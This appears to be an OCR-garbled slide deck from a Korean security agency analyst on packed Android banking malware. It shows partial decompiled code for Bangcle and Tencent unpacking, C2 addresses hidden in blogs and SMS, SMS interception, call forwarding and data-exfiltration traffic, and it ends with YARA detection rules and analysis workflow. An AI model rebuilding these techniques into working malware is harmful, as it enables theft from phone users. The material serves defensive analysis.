' Util.doCheck(arg4);
Util. ALl
) LLrunAl1CCC Util.checkUpdate(arg4);

.10 com.bkya.kdg.L

10 com.bkya.kdg.art

10 com.bkya.kdg.art.20
.10 com.bkya.kdg.x86

s com.bkya.kdg.x86.L

o1

libsecexe.so JNI for

010 libsecexe.x86.s0 Decryption
10 libsecmain.so

v@ = ukalg.FirstApplication; + arg4.getPackageName() +

try {
this.cl = Util.getCustomClassLoader();
ukalg.realdpplication = this.cl.loadClass(v@).newInstance();

}

catch(Ex v2) { )
v2.printStackTrace(); vi.mkdir();

ukalg. realApplication = null; }
catch(Exception v@) {
v@.printStackTrace();

ACall v4 = ACall.getACall();

V.o el > ukalg.realApplication, this.cl, this.getBaseCont )
v4. atl(ukalg. realApplication, this.getBaseContext());
try { il.checkX86(arg4);
if(rF c.parseFloat(Buil d$VERSION. RELEASE. substring(@, 3)) > 2.1f) { il.CopyBinaryFile(arg4);
goto label_3@; il.createChildProcess(arg4);
1 il.tryDoCarg4);
il.runPkg(arg4, arg4.getPackageName());

10 libsecmain.x86.so

10 libsecpreload.so
10 libsecpreload.x86.so

=% Libraries
.~ armeabi

M onCreate() of Entry Point Class Running code of Util.runAll()

v4.set3(ukalg. realdpplication);
}




Obfuscated Android Malware

- Bangcle (packer) (Cont.)

public class ACall {
private static ACall acall;

static {
if(Util.getCPUABI().equals( N1
Util. runAll1{Util. x86Ctx);
if(new File( + Util.x86Ctx.getPackageName() + D.exists()) {
m. Load( + Util.x86Ctx.getPackageName() + bR

1. Load( + Util.x8éCtx.getPackageName() +

Util. runAl11(Util.x86Ctx);
¢ . load( + Util.x86Ctx.getPackageName() +

ACall.acall = null;
ACall Class for loading JNI Library File

private static void runPkg(Context arg?7, String arg8) {
string vl = Build$VERSION.SDK_INT »>= 20 ? arg?.getApplicationInfo().nativel ibraryDir
try {
if(Util. el '= null) {
return;

ifCUtil. isx86) {
if(!ACall.getACall(). jniGetRawDexAvailable()) {
Util.cl = new MyClasslLoader( + argd +
return;

i3

Util.cl = new MyClassLoader( + argd + + argd +
return;
}

if(!ACall.getACall(). jniGetRawDexAvailable()) {
Util.cl = new MyClassLoader( + arg8 + + argd +
return;

Util.cl = new MyClassLoader(

code of loading De-obfuscated Dex File

vl, arg7.getClassLoader());

vl, arg?7.getClassLoader());

arg?.getClassLoader());

arg?.getClassLoader());




Obfuscated Android Malware

- Bangcle (packer) (Cont.)

£ com
1_*:*_r bkya
1 kdg
(9 cnbakysn

(3 BuildConfig
| »®R
= ; s (=) cnbakysn
1 00 00 B = | > (9 kahyga
E:S 00 ‘ -. 5 i e (. EL”(E}-"kama
) 4 (9 llianskst
(9 psuunay
9 ukalg
(9 vckahgn

> (& vpankec

f Dump

(9 lkalna
(9 llianskst
(9 psuunay
(9 ukalg
(9 vpankec

1 secneo
£ guard
(9 AcCall
(9 MyClassLoader
(& util

00 00 00 00 00 00 00
1r neo

T_f_r proxy
Binary file analysis using Memory dump ¥ (@ DistributeReceiver
(= DistributorBuilder

EL (9 FastService

o neo (9 ToolActivity

£ proxy
(9 DistributeReceiver

1_%_r tool
(9 Log
(9 Misc

Original Bangcle Dex File

Malicious Behavior
(Unpacking file)



- Tencent (packer)

lib
armeabi
libBugly.so
libshellx-2.7.0.s0
libufix.so
mixz.dex
assets
unity.config
legudzbait
META-INF
res
tencent_stub
AndroidManifest.xml
classes.dex
resources.arsc

£ tencent

£ StubShell
(9 FileUtils
(9 LeguApplication
(9 SystemClassLoaderInjector
(9 SystemInfoException
(9 TxAppEntry
(9 ZipUtil

£ lejiagu

tencent packer file structure

ananifest android:versionCode="1"
andraid:name="
android: name="
android:name="
android: name="
android:name="
android:name="
android:name="
andraid:name="
andraid:name="
android: name="
android: name="
android: name="
on android:name="
on android:name="
<application android:debuggable="
<activity android:label="
<intent-filter>
<action android:name="
<category android:name="
<category android:name="
</intent-filter>
</activity>

android:versionName="

" package="
s

"S>
">
" android:required="
">
"/

" android:icon=" - id:label="
" android: hame

" s
"
RS

Obfuscated Android Malware

" xmlns:android="

a part of Manifest



Obfuscated Android Malware

- Tencent (packer) (Cont.)

<service android:name=" " S
<receiver android:label=" " android:name=" " android:permission="
<meta-data android:name=" " android:resource=" s
<intent-filters>
on android:name="

* android:name="
<intent-filter android:priority="

<action android:nane="
</intent-filter>

e,)namid:nawz:" " {?xml version="1.08" encoding="utf-8’ standalone=’yes’ 7>
{map>
{string name="Sel~uel‘_URL")http://-228.1@1/(/::t:1‘ing>
<int name="ID""value="g""77>
android: nane=" <boolean name="TEL_BlockState" value=""false" />

<intent-filter> i i <{bhoolean name=""SMS_BlockState" value="true" />
<action android:name=

</intent-filter> (/map)

er>

. - . . . . C2 IP address (shared preference)
Register activity, service, receiver for malicious behavior

(a part of androidManifest.xml)

7|7| 2| KHE A SISHAI A &L

i - TRANSLATION :
SELLE Activate device

() 7171289 WO HASHE UM CIBS UNE SALSO FAAL N
@ 7ress administrator?
B Hypertext Transfer Protocol
o HPLusohuy ) GET /index.php?type=join&telnum=0196 &telcompany= HTTP/1.1\r\n
128 HF2/H0|M cO|E{ § Y2 24840} L User-Agent: Dal 1.6.0 (Linux; U; Android 4.4.2; SHV-E33@S Build/KOT494)\r\n

Ha e

=join&telnum=01

This is an optional message to warn the user about disabling.

TP sl

Steal Victim’s device information
Obstructing deactivate device administrator (traffic packet)



Remote-control Behaviors Tracking



Remote-control Behaviors Tracking

- Qzone

1. Connect

public static void main(String[] args) {
String [] result;
int i=9;

Blog

2. Get obfuscated string(alphabets)

System.out.println(("01201700602009509307500809202103102901000009200701003107502100001100302700800007)

public static String tring arg8
int vl = 9;
String v4 = "der";
char[] v5 = new char[arg8.length() / 3];
String v3 = "";
int v@ = 9;
int v2 = 9;
while(v2 < arg8.length() / 3) {
if(v@ == v4.length()) {
vl = 9;
}

v5[v2] = ((char)((((char)Integer.parselnt(arg8.substring(v2 * 3, v2 * 3 4+ 3)))) A vd.charAt(

va)));
+4v2;
+4+v0;

}

String v@_1 = v3;

while(vl < arg8.length() / 3) {
v@_1 = String.value0f(v@_1) + v5[vl1];
+4+v1;

}

return v@_1;

oblems @ Javadoc |, Declaration Console 3 &3 LogCat

//m.qzone.com/profile?hostuin=

" Call Hierarchy

(
|

il
|
‘\

*

lajcbxeabcgbxjf w=pp o [P

m.gzone.com/profile?host

Bh7S

4.equalsIgnoreCase(
tring.volueOf(v3) +

1.equalsIgnoreCase("c”
String.valueOf(v3)

.equalsIgnoreCase(
String.valueOf(v3)
lajcbxeabcgbxjf i/

if(
3 = String.valueOf(
if(v4.equalsIgnoreCa

3 = String.valueOf(

se if(va.equaleIgnoreCace("h")) {
3 = String.valueOf(v3) "

if(va.equalsIgnoreCase
3 = String.valueOf(v3)

.equalsIgnoreCase
tring.valueof

3 = String.valueOf(

3. De-obfuscated string

S e

alphabet character to number
for making ip address




Remote-control Behaviors Tracking
Blog

- Taobao

1. Connect 2. Get obfuscated string
(chinese characters)

E 2EHEELEEEREHNNEHENEN-0T

g g0 {

"1 vo_1;
__monitor_enter(this);
try {

}

catch(Throwable v@) { )
__monitor_exit(this); 10 \E@ N

throw v@; __monitor_enter(this);
} try {

if(this
__monitor_exit(this); vo_
got J g4

return vo_1; }

indows Intern Ol

R4

REMMEERESEEMEERERES- SR

BEM

static byte[] b( args) {
byte[] vo_1;
v@ = new (argS).openConnection();
W) . setConnectTimeout(7000);

D). setReadTimeout(150007:
Lon)v@).setRequestietho
v@).setUseCaches(false);

@) .setInstanceFollowRedirects(true);
Ivd) . addRequestProperty(

Jv@) . addRequestProperty(

Jv@) . addRequestProperty(

v@) . addRequestProperty(

v@) . addRequestProperty(

@) . connect();

PRI 22 (R 2 2 68 050 £ (R 32 0l £ fRU R

vo_3 = Flhittern. compile( ) .matcher(((Charse
if(ve_3.find())
v@_1 = v@_3.group(l);

} R ECAER R EL R — CD [P

i

—

3. De-obfuscated string

chinese character to number
for making ip address (DER function)




Remote-control Behaviors Tracking
Blog

. Baidu - type]

1. Connect

try {
String v3 = MainActivity.a{vz,

l‘FI:V3 == null) {
goto label_46;

¥

w2 = null;
atcher v3_1 =jPa
if(v3_1.find()) 1
¥2 = v3_1.group(l);

1
J

if(v2 == nul1) {

goto label_

¥

v2 = MainActivity.b(v2);
if{v2.length{) == @) {

’
:(this.a).sendMessage{v2_1);




Remote-control Behaviors Tracking
Blog

- Baidu - type?2

1. Connect 3. De-obfuscated string

L extends
L argl) {
this.oc = argl;
super

public
try
if(this.o.c.getSystemService( ) .inKeyguardRestrictedInputMode()) {
return;
Y(=( yal + 676))();

if ( fstremp(us, "ia™) )

boolean v is. etBoolean(

boolean )

if(lve_1) {

if ( tstremp(us, "ib™) ) return;

ETh9+JKW1hprp8BjY6XQ™; // dfshgdsfahads

“FHpYO9+EuZFizXuwS1ySNgw'™; // taitaiquanes

if ( tstremp(us, “ic™) ) return;

= “FHpYO9+EvZdfdbDs8F15iA // taitaiquanee2 /@_2 = this.o
(v@_2 == null) {

if ( tstremp( dav'y ) return;

if(ve_2.length()
return;

), new byte[]{42

if ( tstremp(

tAction
.a(this.a.c,
1_1.setClassName(

(this.o.c.getMainLooper()).p (new u(this, v1_1));
edit().putBoolean| , false).apply
el(




Remote-control Behaviors Tracking

- Daum

1. Connect

1@

{
v@ = null;

__monitor_enter(this);
if(0 == 0 && 0 == @) {

}

try {

}

catch( vo_1) {

}

__monitor_exit(this);
throw vO_1;

__monitor_exit(this);

return v@;

h()

vo_2;

__monitor_enter(this);
try {
if(this.d()) {

}

}

vo_2 =

iO

vl_2 =
goto

—‘

{
v@ = null;

__monitor_enter(this);
if(0 == 0 & 0 == 0) {

}

try {

}

catch( ) ve_1) {

}

__monitor_exit(this);
throw vO_1;

Daum Blog URL

Daum Blog URL

O

vO_2;

__monitor_enter(this);

try {

if(this.dQ)) {

vo_
goto

}

vl_2 =

2 =

Blog

2. Get Encoded string

€ asdqweqwsad - Windows Internet Explorer

4' Yol =2H

3. Decoded string

e

. 5190573042627444619138769741148712325 ' C2 IP

fq 546974452801365604

|

numbers to url (Native SO File, AES)




Remote-control Behaviors Tracking
SMS

Manifest

<receiver android:enabled=" " android:name="
<intent-filter android:priority=" '

<ction android:name="
</intent-filter=
</receivers

Receiver for Intercept SMS

public class SH ceiver extends E:
static final ring ACTTON =
private final

public

public void onReceive
i .equals{org24.getaction())) {
e v3 = arg24.getExtras();
null) {
nfobao v14 = new SmsInfoDaoo{arg23);
vil = v3.get( bH
0[] v8 = new SnzMeszage [vll. lengfh];

int v4;
for{v4 = 0; v4 < vil.lsngth:
vB[v4] =

¥

maMess [] w2 = v8:
int v6 = v2.length;
int v5;
for{vs = @; v6 < vb; +
nzMeszage v7 = v2[vh];
e e




Remote-control Behaviors Tracking
SMS

MSG PREFIX : [I**7 =772

static {

onstant . LOC
Constant .LOCK

A7._id = tv ! [ separate prefix keyword ]

w17 ead_id = v8.getString(vi9);

w17 W center = v8.getString(vie);
vi7.n v8.getString{vi2);

vi7. ber = v8.getString{vid4);
vi7. = v8.getString(vig);

v17.4d = v8.getLong{v9); Sorryl —
v17.% = v8.getInt{v2@);
LF{ICommUtil.isEmpty(v17.smsbodh)) {
”*AA_AA*”

ifvi3.startsWith(
Log.d(

thorn!-

redPreferences s PreferenceManager .getDefaultSharedPreferences(CoreService. this);
App JLRL_BASE = w13,

4
vi5.edit{).putString{ v13).commit();
Co i -#.this.get&ontentReso;ver().delete( ri.parse( + vi7._id)y, null, null) GbA, GbB, GbC, GbD

Ci vice.this.getSystemService( J.cancelALL);

change C2 to new hacker’s server IP



Remote-control Behaviors Tracking
SMS

. MSG PREFIX : GbA GbB, GbC GbD, GbE g

Chrome

ve[v4_1]; public final class API {

ystem. loadLibrary( s

vl 6 = .createfFromPdu(vl_4);
.getDisplayMessageBody();
.getDisplayOriginatingAddres
null && v6.length() > 6) {

6.ftartsWith( )) o

.a(this.a.f, vl);

int v8; //
public static native byte[] decode(byte[] argd, byte[] argl) {
}

=( Y(*( yal + 676))();
if ( *stremp(us, "ia™) )

public static native byte[] encode(byte[] arg@, byte[] argl) {
}

"EUETh9+JKW1hprp8BjY6XQ™; // dfshgdsfahads

tstremp(us, "ib") )

public static native String tea(String arg@) {

}

iy IpY 09 +EuZFizXuS1ySNgu'”; /7 taitaiquanem Encrypted
tstremp(us, "ic') )
| (Base64+DES)
“ipY 09+EvZdFdbDSBF151iA™; // taitaiquanee2 BlOg(BaldU) URL

tstremp(us, “id") )

public statiq native

}

(v6.startsWith(
.b(this.a.f, vl);

.a.t.clear();

(v6.startswith( )) 1 libgame.so
.c(this.a.f, vl);
1 .t.clear();

// taitaiquanee3s

‘Mox5NwoQ1FCHfwCa2eNT1ubnAt 88T 1dYnQjnFeZ1LBDYLiFNyv2IQ™;// http://vwww.baidu.com/p/%s/detai

else if tstremp(us, “if') )
{

=/ *nogjsknq’

.startsWith( ))
F.edit().putString( , vl).apply();

}

Key(DES)

6.startsWith( ))
fF.edit().putString( , vl1).apply(); public static byte[] a(byte[] arg4, String argS) {
SecureRandom v@ = new SecureRandom();
y vl = SecretkeyFactory.getInstance( ).generateSecret(new DESKeySpec(args. getBytes()));

Cipher v2 = Cipher.getInstance( DN
v2.1nit(2, (CKeydvD), v@);

Rem Ote_CO ntO I'l |<eyWO rd ) return v2.doFinalCarg4);

Decrypt using DES



Remote-control Behaviors Tracking
Server

» Change Outgoing Call

<service android:exported="
<service android:exported="
<receiver android:name="|r y
<intent-filter androﬁd:priority:"
<action android:
<action android:

</intent-filter>

<intent-filters>
<action android:name="
</intent-filter>
</receivers>

public static S KMSDecode(S g arg3) { H
ring v1 = arg3: De-Obfuscated String

int v@; shellPandroid:/data/data/com.android.smartmonitor/sha

for(vd = 0; v@ < 5; +v0) { d.xml
vl = CheckEncryptor.decode(vl); d.xml
} {?xml version="1.08" encoding="utf-8’ standalone=’yes’
{map>
return vl, {string name=""'srcphone3B"’ )82558-l'ing>
public void onCreate() { {int name="'callLogUpload'| value v/
Sk KE% ?P”'WKNMtggé u {int name=""contactsUpload" value="1" />
N1S.m_screenit ecelver = nu H - .l ="a g . .~
-> . 42249 (C2) is.m screen0nReceiver = null; {string name="srcphonel2'|/>83222 tring>

/string>
/string”>
tring>
/string>
/string>
tring>
/string>
/string>
/string>
string>
tring>
{/string>
/string>
/string>
tring>

o ] =""am . (1 -
is.m_volumeReceiver = null; {string name="srcphonell'|>032-2

is.m_homeReceiver = null; {string name=""srcphone36'/>82-16
is.getSystemService( o j ey ane el {string name=""srcphoneld'|>82156
pMﬂicvoRi@I&ﬁFd* 3 ﬂ: {string name=""srcphone35'|>841-4
new e - {string name=""srcphone34'/>843-9
public void run() { {string name=""srcphonel6'|>86246
li?%vg: 1000; {string name=""'srcphone33'|>841-5

.sleep(v@); {string name=""srcphonel5'|>862-4

3 {string name=""srcphone32'|/>831-6

catch( ve_1) { {string name="'srcphonel4'/>83180

} {string name=""srcphone31'/>83165

{string name=""srcphonel3'|>831-8
{string name=""'srcphonel?'>02-60

1
P .start();

{string name=""srcphonel?'|>02-60
{string name="srcphonel8'>826081

Forwarding victim’s outgoing call to hacker’'s number Monitoring numbers received from C2 server
(/data/data/com.android.smartmonitor/shared_prefs)



Remote-control Behaviors Tracking
erver

- Change Outgoing Call

public void acceptCommand() {
v9 = CheckGlobal .getDeviceID{{{¢ Jthis));
v5 = this.getSharedPreferences( , 0).edit();
try {
this.m_sms.1sBusy();
v1@ = CheckNC.send( .valueof({CheckGlobal . KMSDecode(

if(vle == null) {

w5 . putInt{

VS . putInt(

vS.putInt(

v5.commit{);

return;

.o .GE
dmin/pho

vie & |
ifvIg=T=
el , v10.toString());

v6 = new N rct{new JSONObject(vl@). toString().replaceAll(
v7 = this.getSharedPreferences( , 0);
Lout.println + v7.getAl1().toString());
if(v6.get( J.toString().equals{"1")) {
V5. putInt( , 0);
v5.commit{);
return;

pqlTl1Scl1
pzV250T1
ZPViFGW
&m

1f(v6.get( )Atostring()Aequals(V
L 3 kil pa— ——

Tif(ve <)
VS . putInt(

} r . . ) . . .
1% 8ttt steal victim’s device information

}

Remotely change monitoring phone numbers

192.168.1.161 . _.42.249 HTTP 757|POST /sms admin/msg.log.ph TTP/1.1
HTML Form URL Encoded: application/x-www-form-urlencoded
item " “Vmtaa2QxRnRWalpPVOVKTIUWZFNVRNBXVWtOT1ZsRjNWRZV3YkZaVWIsV1diR2gzV1d4YVIxSIVRDF I pUmtwUVZWZHp1RTVZVGXWT1IEQTk="
item: " "VmxSQ2EyTX1TWGXTYkVwU1ZrUkIPUTE9
item: * “VmtaV1UxRnRVWGROV1ZaU1YwZFNUMVZyVmtkTk1WS1dWV3RLVWZWVU1Eaz@="
m item: "0" “"Vmtab2FrOVdRbEpRVKRBOQ
item: " " TnINSGROV1ZKTIUwZFNUMVPZYOVOTk1WS1hWRZzV3YTAXRVIrV1diR2gzV1d4YV] sSnFUbFJpUmtwUVZWZHp1RkpXUmxWT1JEQTk="

item: " "Vj WX1Wb1IWYTIoT1ZqTm9jV1IVUVRGaUIXUnhVMnhhVV

item: "5" "VmtaV1UxSnRVWGR sUmxaVFYwZDRUMXBYZUVKT1]sS1hWV3R3YkdGN1ZrT1ZSbEYZVUZF

item: "4" = "VmtaYVIrOVdRbEpRVKRBOQ

item: "action™ = "VjFSQ2FrNVhWblJIWYTBwU1lZrUkJIPUTE@9™

item: "number"™ = "Vmtaa2FrOVdRbEpRVKRBOQ=

item: "phone_deviceID" = "Vmtab2QxWnINV1pPVkZwU1lZrVndUMVZyV2xkT2IGS1dWV3RLYkdGN1IrWlZWblg

steal victim’s SMS



Detection and Incident Response



Detection and Incident Response

- Smishing

- detect malicious URLs that spread via Spam SMS

- We block the final disseminateon URLs and C2 IP
in collaboration with ISPs

- Compromised Web pages
- We apply rules and program patterns of compromised webpages
- So we find out malicious apps in webpages

- Malicious apps registered in an market
- Based on our detection patterns, we are monitoring
and detecting malicious apps newly registered



Detection and Incident Response

- Notifying infected devices

- Find out zombie smartphones not detected by AV
- Then, notify their users of infection and guide how to clean it

- Discouraging installing apps from ‘Unknown Sources’

- The principle of ‘installation of permitted only once’ is set
as the basis of installation of the app from unknown sources



Detection and Incident Response(Analysis System)

GooglePlay Store

OneStore
(Domestic Market)

VirusTotal
Intelligence(query)

Black Market

Dissemination URL
(Smishing/Web)

Artifact Files in Packing APK

Lib/armeabi/libapkprotect.so
Apkprotect.com/key.dat

Assets/libprotectClass.so
Assets/libprotectClass_86.s0
Assets/libqupc.so

Lib/armeabi/libmobisec.so
Lib/armeabi/libmobisecx.so

Assets/baiduprotect.jar
Assets/libbaiduprotect_x86.so

Assets/bangcleplugin/container.dex
Assets/bangcleplugin/collector.dex
Assets/bangcleplugin/dgc
Assets/meta-data/manifest.mf
Assets/meta-data/rsa.pub
Assets/meta-data/rsa.sig
Assets/bangcle_classes.jar
Assets/libsecexe.so
Assets/libsecexe.x86.s0
Assets/libsecmain.so

Assets/ijm_lib/armeabi/libexec.so
Assets/ijm_lib/armeabi/
libexecmain.so
Assets/ijm_lib/x86/libexec.so
Assets/ijm_lib/x86/libexecmain.so

Acecntrelitiami AA
Assets/lib/armeabi/libmain.so
Assets/lib/armeabi/libshell.so

Automated
De-Obfuscation
(APK Protect,..)

Memory Dump
(Extract ODEX,
Small code)

Similarity Check
(Images, ssdeep)

Decoding
Function Module
(Python)

Tag Search

Excution Profiling
Flow Hacker’s
(Timeline) Command
(SMS,Blog)
File Write
/Network



Detection and Incident Response(Analysis System)

- Classification : Packer Type
- We use vyara rules for packer identication

rule apkprotect : packer

REME com.kuaichecaifu.app u U peta:

description = "APKProtect"

strings:
skey = "apkprotect.com/key.dat"

A7B8BAED79D0373106DB88 sdir = "apkprotect.com/"

Gun Shoot War com.wawoo.gunshootwar . . slib = "1ibAPKProtect.so"
apk jiagu anti_debug
condition:
is_apk and ($key or $dir or $lib)
}

Google Services F 67235B16BC2FAB6836847E A

google.service . {
ramework apk anti_debug apkprotect { neta:

description = “Bangcle"

rule bangcle : packer

strings:
$main_lib = "libsecexe.so"

ChatON combkya_kdg $second_lib = "libsecmain.so"

scontainer = "assets/bangcleplugin/container.dex"
sencrypted_jar = "bangcleclasses.jar"
sencrypted_jar2 = "bangcle_classes.jar"

03765bbc88d56fa4075dac3e condition: o , i ) )
[ is_apk and any of ($main_lib, $second_lib, $container, Sencrypted_jar, $encrypted_jar2)
9b32de5b16b25eb5ddfal0b4 : ¥
apk anti_debug tencent rule tencent : packer
653e9e4a80adcecb {
! meta:
description = "Tencent"
63e94d5a88ac08dbe9c798f5
‘ “ strings:

5f09103f.apk_6ae94d5a88a anti_debug tencent $decryptor_lib = "lib/armeabi/libshell.so"

c08dbe9c798f55f09103f $zip_lib = "lib/armeabi/libmobisecy.so"
$classpath = "com/tencent/StubShell"
$mix_dex = "/mix.dex"

com.VjgJGF755.j578 condition:

is_apk and ($classpath or $decryptor_lib or $zip_lib or $mix_dex)
}

Packer/Protecer Identification yara rules (source : APKiD)



Detection and Incident Response(Analysis System)

- Static Analysis : Similarity Check

- We're going to compare two malicious apps
(Recently,Financial Fraud Malware in EUROPE)

+ ssdeep : 44%

| 40| =11 PostDanmark ! | W Post

,“\ = IEJ 1 ,“ L A

!' |

| Package Name exts.whats ; . Package Name com.obuam.jbkjf

Packer LH=3t sliA| 0158 - LH=38) sl K| 08
At Ol Xt oo

Signature(Tag) apk Signature(Tag) apk

HASH (MD5) A18818CB3FB6F189560991CEF6D1F929 D HASH (MD5) D70296D3DC4937DEDD44F93BB3B74034

HASH (SHA-1) E38AEISDEEEOAA7F3869270E6951846DB7BESSEB B HASH (SHA-1) 256640A3063DEF39DA25CD07023302DEA14A521A

6D536D4D724F79345E6088E58639B173118506739448481C7FD9A43F426F3A18 54EDE44BCE62AD415CE71A3A801785B94E0D70DCC7B7C44916D2BFEC17E6D8BL

HASH (SHA-256) r HASH (SHA-256) -
]

- —_— - P —— R ———— 7,—¥___‘

12288:qpj0018IS2219Qb7W3q+NZnMjQzd0Sb8cWk+H7Q5CvvkgYSP8N5b:qd1I8IS 12288:x2PPcW4WUB6sBL90bzWD2+NZ1MjQzdjlb6nWk7x7Q5CvvkCLy|+Tp4459:4
.. . ‘
iig+nMjQzdwrP8N9 UBZCW2+1MjQzdM/+RpT59




Detection and Incident Response(Analysis System)

- Static Analysis : Similarity Check
- Image Resources : 91% (only dex, icon image different)

35DC181DFD59D7A0C7F090

| “res/drawable-xhdpi-v4/ic T e
t 30794318D1993957A6BDSBEF6497FEC8
launcher.png | i launcher.png

res}draW:a‘tJEIe—);hdpi—rvd./ic

res/drawable/android,png 3079431 BDI9BEF6497FECS8




Detection and Incident Response(Analysis System)

- Our challenging : Tracking Behavior(Profiling)

Extract Log

Control device (HTTP SMS,
(analyst manually) CALL.)

—b

Phone Application

'/%\
',"" A 5556:5alntAVD2
I“.. Call Tracker SMS Dispatch Data Tracker ) IS
‘ J

01011112222

00:15
Phone
fjava/androldielephony © % i n L14

Phone Number

Incoming
/Outcoming

4 o o ik
Linux IP Stack N o 0 ';"*y d i o
Collect CALL event log Collect SMS event log

PPP, for example




In Conclusion

Ways to disseminate mobile malware(as much as possible)

Financial fraud apps figures have Declined, But apps is
becoming more Sophisticated (lastest version of packers)

Bad guys change to new C2 using Blogs and SMSs

We need to profile financial fraud malware’s behavior for
immediate actions



Thank you

In Seung, Yang
iIsyang@kisa.or.kr
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